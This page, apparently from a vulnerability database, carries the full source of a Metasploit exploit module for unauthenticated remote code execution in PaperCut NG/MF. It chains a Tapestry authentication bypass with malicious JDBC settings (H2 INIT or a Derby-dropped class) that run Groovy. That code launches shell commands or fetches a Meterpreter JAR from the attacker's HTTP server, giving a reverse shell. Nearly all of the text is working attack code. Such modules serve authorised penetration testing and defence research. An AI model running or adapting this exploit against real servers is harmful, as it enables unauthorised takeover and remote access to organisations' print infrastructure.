Lucene search
+L

PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)

🗓️ 27 Aug 2026 00:00:00Reported by sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 4 Views

Unauthenticated RCE in PaperCut NG/MF 24-26 via Apache Tapestry auth bypass.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-81578
29 Aug 202613:12
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-81578
29 Aug 202615:08
githubexploit
circl
Circl
CVE-2026-81578
28 Aug 202613:05
circl
circl
Circl
CVE-2026-82078
28 Aug 202613:05
circl
cisa_kev
CISA KEV Catalog
PaperCut NG/MF Missing Authentication for Critical Function Vulnerability
31 Aug 202600:00
cisa_kev
cisa_kev
CISA KEV Catalog
PaperCut NG/MF Unsafe Reflection Vulnerability
31 Aug 202600:00
cisa_kev
cve
CVE
CVE-2026-81578
28 Aug 202611:39
cve
cve
CVE
CVE-2026-82078
28 Aug 202611:45
cve
cvelist
Cvelist
CVE-2026-81578 PaperCut MF/NG: Authentication Bypass
28 Aug 202611:39
cvelist
cvelist
Cvelist
CVE-2026-82078 PaperCut MF/NG: Unsafe Dynamic Class Loading in Database Connector
28 Aug 202611:45
cvelist
Rows per page
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)',
        'Description' => %q{
          This module exploits an authentication bypass in PaperCut NG and MF. A crafted Apache Tapestry
          complex-direct request invokes privileged ConfigEditor components through the public Home
          page. On version 26, the module reconfigures external user lookup to use an H2 JDBC URL whose
          initialization SQL evaluates Groovy code. On versions 24 and 25, it uses a bundled Derby
          procedure to write a temporary Groovy bootstrap class to the application classpath, then loads
          it as a database driver. The Java target serves an executable payload JAR and a generic
          memory-backed JAR loader over HTTP. Its payload classes and resources remain in memory; however,
          versions 24 and 25 still require the temporary Derby bootstrap class. The command targets execute
          a Windows or Linux command payload directly.

          This module was successfully tested against:
          * PaperCut MF 26.0.4 (Build 76494) <-- emergency patch v1
          * PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1
          * PaperCut NG 26.0.3 (Build 76225)
          * PaperCut NG 25.0.11 (Build 75758)
          * PaperCut NG 24.1.9 (Build 73376)
        },
        'License' => MSF_LICENSE,
        'Author' => ['sfewer-r7'],
        'References' => [
          ['CVE', '2026-81578'], # The authentication bypass
          ['CVE', '2026-82078'], # The RCE through external user lookup
          ['URL', 'https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/'],
          ['URL', 'https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/']
        ],
        'DisclosureDate' => '2026-08-27',
        'Privileged' => false, # Defaults to the high-priv 'SYSTEM' user on Windows but a low-priv user 'papercut' on Linux.
        # As we include HttpServer, we explicitly declare an Aggressive stance here because HttpServer would otherwise make this passive.
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          [
            # Tested with:
            # * java/meterpreter_reverse_tcp
            # * java/meterpreter/reverse_tcp
            # * java/shell_reverse_tcp
            'Java',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ],
          [
            # Tested with:
            # * cmd/windows/http/x64/meterpreter_reverse_tcp
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Payload' => {
                'BadChars' => "\x00"
              }
            }
          ],
          [
            # Tested with:
            # * cmd/linux/http/x64/meterpreter_reverse_tcp
            'Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Payload' => {
                'BadChars' => "\x00"
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          # The remote target PaperCut service port number.
          'RPORT' => 9191,
          # The remote target PaperCut service is HTTP by default, but can be HTTPS.
          'SSL' => false,
          # The Metasploit HTTP service for serving out Java JAR payloads, must be HTTP by default
          # as the remote JVM will likely not trust a self-signed certificate.
          'SRVSSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to the PaperCut application', '/app'])
    ])

    register_advanced_options([
      OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
    ])
  end

  def check
    papercut = papercut_info

    case papercut[:status]
    when :unreachable
      return CheckCode::Unknown(papercut[:message])
    when :not_found
      return CheckCode::Safe(papercut[:message])
    when :version_unknown
      return CheckCode::Detected(papercut[:message])
    end

    version_string = "PaperCut #{papercut[:product]} #{papercut[:version]}."

    # Product versions 23.x and below are not supported by the vendor. They may be vulnerable/exploitable, but this has not been confirmed.
    return CheckCode::Detected(version_string) if papercut[:major] <= 23

    # Future product version, e.g. 27.x will not be vulnerable.
    return CheckCode::Safe(version_string) if papercut[:major] > 26

    fixed_versions = {
      'MF' => {
        24 => Rex::Version.new('24.1.9.76515'),
        25 => Rex::Version.new('25.0.12.76509'),
        26 => Rex::Version.new('26.0.4.76507')
      },
      'NG' => {
        24 => Rex::Version.new('24.1.9.76516'),
        25 => Rex::Version.new('25.0.12.76510'),
        26 => Rex::Version.new('26.0.4.76508')
      }
    }

    fixed_version = fixed_versions.dig(papercut[:product], papercut[:major])

    return CheckCode::Detected(version_string) unless fixed_version

    return CheckCode::Appears(version_string) if papercut[:version] < fixed_version

    CheckCode::Safe(version_string)
  end

  def exploit
    if datastore['DefangedMode']
      warning = <<~EOF


        Are you SURE you want to execute the exploit against the target system?
        Running this exploit will change the PaperCut user-lookup configuration
        on the target system. The changes will be restored to default values, but
        these default values may not match the original configuration (if they were
        non-default).

        Disable the DefangedMode option if you have authorization to proceed.
      EOF

      fail_with(Failure::BadConfig, warning)
    end

    papercut = papercut_info

    case papercut[:status]
    when :unreachable
      fail_with(Failure::Unreachable, papercut[:message])
    when :not_found, :version_unknown
      fail_with(Failure::UnexpectedReply, papercut[:message])
    end

    # The forged listener renders Home, so initialize that stateful Tapestry page in the session before submitting
    # ConfigEditor forms. The Error page used by check does not initialize Home's page state.
    home = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'The target did not return the PaperCut Home page') unless home_response?(home)

    # The Java target retrieves an executable payload JAR and its generic memory loader. Command targets instead
    # embed an OS command in the request and therefore do not need the Java HTTP service.
    groovy_source = if target['Platform'] == 'java'
                      payload_service = start_java_payload_service
                      groovy_class_loader_source(
                        payload_service[:jar_uri],
                        payload_service[:loader_uri],
                        payload_service[:loader_class],
                        payload_service[:main_class]
                      )
                    else
                      groovy_command_source(payload.encoded, target['Platform'] == 'win')
                    end

    # A class name is only populated for the two-stage Derby strategy and later signals that the class must be loaded.
    bootstrap_class_name = nil

    # H2 only needs a non-existent card number to reach the configured database. Derby replaces this with a query that
    # returns the bootstrap class bytes for its export procedure.
    lookup_value = rand_text_alphanumeric(16)

    if papercut[:major] >= 26
      print_status("PaperCut #{papercut[:version]} detected; using H2 to execute Groovy bootstrap")

      # PaperCut 26 bundles H2. Its INIT SQL executes while the connection opens, before PaperCut prepares and runs
      # the configured lookup query. The query itself is benign and retains PaperCut's required placeholder.
      # Selecting H2 makes PaperCut load the bundled driver when external lookup opens its database connection.
      driver = 'org.h2.Driver'

      # A random in-memory database avoids persistent database files. H2 evaluates INIT as it opens the connection,
      # exposing Groovy as an SQL function and passing it the generated command or Java-payload bootstrap.
      url = "jdbc:h2:mem:#{rand_text_alpha_lower(8)};INIT=#{h2_escape(h2_statement(groovy_source))}"

      if url.length > 1024
        fail_with(Failure::BadConfig, "The generated H2 JDBC URL exceeds PaperCut's 1,024-character configuration limit")
      end

      # PaperCut requires the lookup SQL to contain {cardnumber}. This harmless query returns the supplied random value;
      # payload execution has already occurred while H2 processed INIT.
      sql = 'VALUES CAST({cardnumber} AS VARCHAR(32672))'
    else
      print_status("PaperCut #{papercut[:version]} detected; using Derby to drop and load a Java class and execute Groovy bootstrap")

      # PaperCut 24 and 25 do not bundle H2, but do bundle Derby. Its export procedure writes the BLOB returned by
      # the attacker-controlled query to a classpath directory. Selecting that class as the driver then initializes it.
      # Vary both the content and length of the class name used for the temporary bootstrap artifact.
      bootstrap_class_name = rand_text_alpha(8..16)

      # Derby requires a companion CSV for the export; its contents are not otherwise used by the exploit.
      csv_path = "tmp/#{rand_text_alpha_lower(8)}.csv"

      # Derby writes the exported BLOB here, placing the bootstrap class in a PaperCut classpath directory.
      class_path = "lib/#{bootstrap_class_name}.class"

      # Ensure the temporary .csv and .class artifacts are deleted even if the Groovy bootstrap raises an exception.
      groovy_source = <<~GROOVY
        try {
          #{groovy_source}
        } finally {
          new java.io.File("#{class_path}").delete()
          new java.io.File("#{csv_path}").delete()
        }
      GROOVY

      # Selecting the bundled Derby driver lets the first lookup call Derby's built-in export procedure.
      driver = 'org.apache.derby.jdbc.EmbeddedDriver'

      # Use a fresh in-memory Derby database so the procedure is available without creating a persistent database.
      url = "jdbc:derby:memory:#{rand_text_alpha_lower(8)};create=true"

      # PaperCut replaces {cardnumber} with a bound parameter. Derby interprets that parameter as the query whose BLOB
      # result is written to class_path, while csv_path receives the companion export data.
      sql = "CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber}, '#{csv_path}', NULL, NULL, NULL, '#{class_path}')"

      # This nested Derby query returns the patched class bytes as a BLOB. X'...' is a hexadecimal binary literal;
      # PaperCut binds the complete query string above as the export procedure's first argument.
      lookup_value = "VALUES CAST(X'#{derby_bootstrap_class(bootstrap_class_name, groovy_source).unpack1('H*')}' AS BLOB)"
    end

    # These are the only four settings needed by either database strategy. This is CVE-2026-82078.
    exploit_config = {
      'user-lookup.db-driver' => driver,
      'user-lookup.db-url' => url,
      'user-lookup.id-to-username-sql' => sql,
      'user-lookup.enabled' => 'Y'
    }

    begin
      print_status('Setting config...')

      exploit_config.each do |name, value|
        vprint_status("Setting #{name} - #{value}")

        fail_with(Failure::UnexpectedReply, "Failed to update #{name}") unless update_config_option(name, value)
      end

      print_status('Triggering the external user lookup')

      res = trigger_external_lookup(lookup_value)

      print_warning('The lookup request did not return a Home response; the payload may still have executed') unless home_response?(res)

      if bootstrap_class_name
        # Stop calling the export procedure before loading the new class. DatabaseUtils invokes Class.forName on the
        # configured driver before opening the connection, which executes the bootstrap's static initializer.
        fail_with(Failure::UnexpectedReply, 'Failed to reset the lookup query') unless update_config_option(
          'user-lookup.id-to-username-sql',
          'VALUES CAST({cardnumber} AS VARCHAR(32672))'
        )

        fail_with(Failure::UnexpectedReply, 'Failed to select the bootstrap class') unless update_config_option(
          'user-lookup.db-driver',
          bootstrap_class_name
        )

        # A second lookup makes DatabaseUtils load the newly selected driver class. Class.forName executes its static
        # initializer, which evaluates the Groovy payload; this value is only an arbitrary card number for the lookup.
        trigger_external_lookup(rand_text_alphanumeric(16))
      end
    ensure
      # The bypass can submit ConfigEditor forms but cannot render that protected page to read the prior values. Restore
      # PaperCut's factory defaults, disabling lookup first to minimize the time any partial configuration remains live.
      factory_config = {
        'user-lookup.enabled' => 'N',
        'user-lookup.id-to-username-sql' => 'select user_name from users_table where card_number = {cardnumber}',
        'user-lookup.db-url' => '',
        'user-lookup.db-driver' => ''
      }

      print_status('Resetting config...')

      factory_config.each do |name, value|
        vprint_status("Resetting #{name} - #{value}")

        next if update_config_option(name, value)

        print_warning("Failed to update #{name}")
      end
    end
  end

  private

  def papercut_info
    return @papercut_info if @papercut_info

    # PaperCut's public Error page includes the complete product version. This keeps discovery read-only and on the
    # same service as the vulnerable complex-direct endpoint.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true,
      'vars_get' => {
        'service' => 'page/Error'
      }
    )

    return { status: :unreachable, message: 'The target did not respond.' } unless res

    return { status: :not_found, message: 'The target did not return the expected page.' } unless res.code == 200 && res.body.include?('<!-- Page: Error -->')

    # PaperCut appends the optional semantic-version suffix from version.suffix to the release, for example
    # "26.0.4-PO-4560" or "26.0.4-rc.1". Accept that suffix but compare only release and build numbers.
    match = res.body.match(/PaperCut (?<product>NG|MF)\s+(?<release>\d+\.\d+\.\d+)(?:-[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?\s+\(Build\s+(?<build>\d+)\)/)

    return { status: :version_unknown, message: 'PaperCut was detected, but its version could not be determined.' } unless match

    @papercut_info = {
      status: :success,
      product: match[:product],
      version: Rex::Version.new("#{match[:release]}.#{match[:build]}"),
      major: match[:release].to_i
    }
  end

  def complex_direct_request(component_page, component_path, vars_post = nil, method: 'POST')
    # Tapestry 3 encodes this as direct/stateful/render-page/component-page/component-path. Home is deliberately the
    # public render page, while component_page names the protected page whose listener is invoked. PaperCut's flawed
    # authentication checks the former but not the latter.
    #
    # Only the literal stateful value "1" enables Tapestry's stale-session guard; any other value is accepted as off.
    # The session cookie is still retained because PaperCut's form rewind state spans these requests.
    opts = {
      'method' => method,
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true,
      # POST requests impersonate forms submitted by PaperCut itself and must pass its same-origin request checks.
      'headers' => {
        'Origin' => full_uri(''),
        'Referer' => full_uri(target_uri.path)
      },
      'vars_get' => {
        # This is CVE-2026-81578.
        'service' => "direct/#{rand_text_alpha_lower(8)}/Home/#{component_page}/#{component_path}"
      }
    }

    opts['vars_post'] = vars_post if vars_post

    send_request_cgi(opts)
  end

  def home_response?(res)
    # Successful forged listeners finish by rendering the selected public carrier
    # page (Which for the auth bypass is hardcoded to be Home in complex_direct_request).
    res&.code == 200 && res.body.include?('<!-- Page: Home -->')
  end

  def update_config_option(name, value)
    # ConfigEditor is a stateful two-step UI: quickFindForm selects the named property and records the filtered table
    # in the session, then $Form submits the edit. sp and FormN identify the Tapestry page-state/form rewind sequence.
    return false unless home_response?(complex_direct_request(
      'ConfigEditor',
      'quickFindForm',
      {
        'sp' => 'S0',
        'Form0' => '$TextField,doQuickFind,clear',
        '$TextField' => name,
        'doQuickFind' => 'Go'
      }
    ))

    # Searching for the SQL property also returns its adjacent .user-mapping property. Tapestry therefore expects the
    # component fields for both table rows during form rewind, even though only the first value is updated.
    fields = if name == 'user-lookup.id-to-username-sql'
               {
                 'sp' => 'S1',
                 'Form1' => '$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0',
                 '$TextField$0' => value,
                 '$TextField$0$0' => 'USERNAME',
                 '$Submit' => 'Update'
               }
             else
               {
                 'sp' => 'S1',
                 'Form1' => '$TextField$0,$Submit,$Submit$0',
                 '$TextField$0' => value,
                 '$Submit' => 'Update'
               }
             end

    home_response?(complex_direct_request('ConfigEditor', '$Form', fields))
  end

  def trigger_external_lookup(card_number)
    # User List Quick Find falls back to treating an unmatched search as a card ID, opening the configured external
    # database connection. For H2 the marker is inert data; for Derby it is the query exported into the class file.
    complex_direct_request(
      'UserList',
      '$QuickFind.$Form',
      {
        'sp' => 'S0',
        'Form0' => '$TextField,$Submit,$Submit$0',
        '$TextField' => card_number,
        '$Submit' => 'Go'
      }
    )
  end

  def derby_bootstrap_class(class_name, source)
    # This Java 8 class has only a static initializer, which decodes and evaluates the supplied Groovy source. Patching
    # its two constant-pool strings avoids requiring javac on the Metasploit host and keeps the class name randomized.
    klass = ::File.binread(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-82078', 'Metasploit.class')
    )

    encoded_source = Rex::Text.encode_base64(source)

    fail_with(Failure::BadConfig, 'The generated Groovy bootstrap is too large') if encoded_source.length > 0xffff

    class_replaced = klass.sub!("\x00\x0aMetasploit", "#{[class_name.bytesize].pack('n')}#{class_name}")

    source_replaced = klass.sub!("\x00\x07PAYLOAD", "#{[encoded_source.length].pack('n')}#{encoded_source}")

    fail_with(Failure::BadConfig, 'The Derby bootstrap class is missing its patch placeholders') unless class_replaced && source_replaced

    klass
  end

  def groovy_class_loader_source(payload_uri, class_loader_uri, class_loader_class, payload_class)
    identifiers = Rex::RandomIdentifier::Generator.new(language: :java)

    result = rand_text_alpha_lower(8)

    # Despite its historical Meterpreter package name, Metasploit's JarFileClassLoader is a generic memory-backed JAR
    # loader. URLClassLoader fetches that helper as one raw class from a directory URL, so Java never opens it as a remote
    # JAR. It then expands the separately downloaded payload JAR into byte arrays and defines its classes and
    # resources directly from memory. Run main on a daemon thread so an interactive payload cannot block the H2 lookup and
    # its enclosing Tapestry request. The thread retains the memory loader as its context class loader so payload classes
    # and resources that are resolved lazily remain available. Giving it PaperCut's application loader as its parent also
    # prevents an HTTP lookup for every payload class. Keep this stub compact because PaperCut truncates the
    # user-lookup.db-url setting at 1,024 characters.
    # Eval.me (see h2_statement) returns the final random string (result) to H2's CALL instead of making H2 convert a
    # Thread or reflection object.
    <<~GROOVY
      def #{identifiers[:bootstrap_loader]} = new URLClassLoader([new URL("#{class_loader_uri}")] as URL[])
      def #{identifiers[:loader_class]} = #{identifiers[:bootstrap_loader]}.loadClass("#{class_loader_class}")
      def #{identifiers[:loader]} = #{identifiers[:loader_class]}.getConstructor(ClassLoader).newInstance(#{identifiers[:bootstrap_loader]}.parent)
      #{identifiers[:loader]}.addJarFile(new URL("#{payload_uri}").bytes)
      def #{identifiers[:payload]} = #{identifiers[:loader]}.loadClass("#{payload_class}")
      Thread.startDaemon {
        Thread.currentThread().setContextClassLoader(#{identifiers[:loader]})
        #{identifiers[:payload]}.main(new String[0])
      }
      "#{result}"
    GROOVY
  end

  def groovy_command_source(command, is_windows)
    identifiers = Rex::RandomIdentifier::Generator.new(language: :java)

    # Base64 keeps payload quotes and shell metacharacters out of the nested HTTP form, JDBC URL, SQL, and Groovy
    # quoting layers. The decoded command is passed as one argument to the platform shell.
    encoded_command = Rex::Text.encode_base64(command)

    # /d disables cmd.exe AutoRun commands and /s gives consistent /c quote handling. Linux uses the stock POSIX shell.
    command_array = is_windows ? "[\"cmd.exe\",\"/d\",\"/s\",\"/c\",#{identifiers[:command]}]" : "[\"/bin/sh\",\"-c\",#{identifiers[:command]}]"

    result = rand_text_alpha_lower(8)

    # ProcessBuilder.start returns a Process, which H2 cannot reliably convert into an SQL value. Make the final
    # expression a simple random string after the process has started.
    <<~GROOVY
      def #{identifiers[:command]} = new String(
        java.util.Base64.getDecoder().decode("#{encoded_command}"),
        java.nio.charset.StandardCharsets.UTF_8
      )
      new ProcessBuilder(#{command_array} as String[]).start()
      "#{result}"
    GROOVY
  end

  def h2_statement(source)
    # CREATE ALIAS exposes PaperCut's bundled Groovy evaluator as an H2 routine; CALL evaluates the generated source.
    "CREATE ALIAS PCEXEC FOR 'groovy.util.Eval.me(java.lang.String)';CALL PCEXEC('#{source}')"
  end

  def h2_escape(statement)
    # H2 uses unescaped semicolons to separate JDBC URL properties. Escape backslashes first, then semicolons, so the
    # entire compound CREATE ALIAS/CALL statement reaches the INIT property.
    statement.gsub('\\') { '\\\\' }.gsub(';') { '\\;' }
  end

  # For ARCH_JAVA payloads, serve both the generated executable JAR and Metasploit's generic memory-backed JAR loader.
  # Java shell and staged payload generators can randomize their entry point, while the stageless Meterpreter generator
  # currently retains its fixed StagelessMain class. The JAR manifest is therefore the authoritative entry point.

  def start_java_payload_service
    if http_server_ssl
      print_warning(
        'SRVSSL is enabled. The target JVM must trust SSLCert and the advertised URI host must match the certificate; ' \
        "Metasploit's default self-signed certificate will normally be rejected."
      )
    end

    # Request framework-supported class-name randomization where the selected Java payload implements it. Read the entry
    # point from the resulting manifest so both randomized and fixed Main-Class implementations are handled consistently.
    payload_jar = payload.encoded_jar(random: true)

    payload_class = payload_jar.manifest.to_s[/^Main-Class:\s+([^\r\n]+)/, 1]

    fail_with(Failure::BadConfig, 'The generated Java payload JAR has no Main-Class entry') unless payload_class

    @java_payload_jar = payload_jar.pack
    @java_payload_jar_name = "#{rand_text_alpha_lower(8)}.jar"

    # Serve Metasploit's memory-backed JAR loader as a raw class. Its canonical HTTP path must match the package name
    # embedded in the class so URLClassLoader can resolve it relative to the service URI.
    class_loader_class = 'com.metasploit.meterpreter.JarFileClassLoader'
    @java_payload_class_loader_path = 'com/metasploit/meterpreter/JarFileClassLoader.class'
    @java_payload_class_loader = MetasploitPayloads.read('java', 'com', 'metasploit', 'meterpreter', 'JarFileClassLoader.class')

    start_service(
      'Uri' => {
        'Path' => "/#{rand_text_alpha_lower(8)}/",
        'Proc' => proc { |cli, request| java_payload_request(cli, request) },
        'VirtualDirectory' => true
      }
    )

    {
      jar_uri: "#{get_uri}#{@java_payload_jar_name}",
      loader_uri: get_uri,
      loader_class: class_loader_class,
      main_class: payload_class
    }
  end

  def java_payload_request(cli, request)
    vprint_status("#{request.method} #{request.uri} requested")

    return send_not_found(cli) unless %w[HEAD GET].include?(request.method)

    resource = request.relative_resource.to_s.delete_prefix('/')

    body, content_type = case resource
                         when @java_payload_jar_name
                           [@java_payload_jar, 'application/java-archive']
                         when @java_payload_class_loader_path
                           [@java_payload_class_loader, 'application/octet-stream']
                         else
                           return send_not_found(cli)
                         end

    send_response(
      cli,
      request.method == 'HEAD' ? '' : body,
      'Content-Type' => content_type
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation